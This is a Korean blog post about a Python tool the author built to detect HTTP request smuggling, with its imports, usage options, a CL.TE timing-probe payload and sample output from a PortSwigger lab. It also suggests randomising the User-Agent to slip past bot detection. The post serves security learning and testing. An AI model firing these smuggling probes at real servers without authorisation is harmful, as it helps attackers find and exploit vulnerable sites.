본문으로 바로가기

python 으로 http request smuggling tool 만들기

category Security/Web 2020. 3. 30. 12:19

 

소스 코드는 github 에서 볼 수 있으니 참고 바란다.

모든 기능은 완성되지 않았지만, 사용하는데 문제는 없을 것이다.

 

Lactea98/smuggler.py

HTTP request smuggling tools. Contribute to Lactea98/smuggler.py development by creating an account on GitHub.

github.com

 

 

 


http request smuggling 도구를 만들기 위해 어떻게 하면 취약함을 알 수 있는가를 portswigger 에서 공부했다.

또한 이미 짱짱해커들이 만들어 놓은 payload 를 참고해서 나만의 툴을 개발하게 되었다.

 

 

Module

이 툴을 사용하기 위해 아래의 모듈이 필요하다.

import requests
import argparse
import sys
from fake_useragent import UserAgent
import time
import socket, ssl
from urllib.parse import urlparse

 

 

 

How to detect - Timing tech

 

http request smuggling 공격에 취약한가를 알기 위해 필자는 timing tech 공격을 사용했다.

이는 front-end 에서 패킷을 처리할때 아무런 문제가 없어 포워딩을 하는데, 하지만 back-end 에서 패킷을 처리할때 data가 더 오지 않아 wait 하는 과정에서 timeout 을 리턴할때를 탐지한다.

 

예를들어 테스팅 사이트가 CL.TE 방식으로 구성되어 있다면, 툴에서는 아래와 같은 payload를 전송한다.

POST /path HTTP/1.1
Host: target-host.com
Content-Length: 4
Transfer-Encoding: chunked

0


 위 payload는 CL.TE 방식일 때, timeout을 리턴하게 만드는 공격이다.

 

TE.CL과 TE.TE 를 탐지할 때도 마찬가지 이다.

 

 

 

How to use

사용방법은 아래와 같다.

  -h, --help         show this help message and exit
  --url URL          Input url. --url http://test.com
  --agent            Generating random User-Agent. --agent
  --timeout TIMEOUT  Set timeout. Default: 7s. --timeout [time]

 

테스팅 사이트가 봇을 감지한다면, --agent 옵션을 넣어 랜덤한 User-agent 를 생성해서 봇 감지를 피할 수 있다.

$ python3 smuggler.py --url https://target-host.com --agent

 

timeout 옵션이 있지만 아직 개발 중이다.

출력 예시는 아래와 같이 서버의 구성과 payload를 출력하고 프로그램이 종료된다.

$ python3 smuggler.py --url https://ac9f1faa1f71d93b807b054000660013.web-security-academy.net/ --agent

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 
                        by universe 

[*] Generating fake user-agent...
[*] Done.
[*] Sending to https://ac9f1faa1f71d93b807b054000660013.web-security-academy.net/
[*] Testing CL.TE...
     └───> HTTP/1.1 500 Internal Server Error
[*] Server using CLTE
>> 
====== payload ======
POST / HTTP/1.1
Host: ac9f1faa1f71d93b807b054000660013.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

0


======================

 

 

Reference

 

https://portswigger.net/web-security/request-smuggling https://github.com/gwen001/pentest-tools/blob/master/smuggler.py

 

 

 

 

 

 

 

 


댓글을 달아 주세요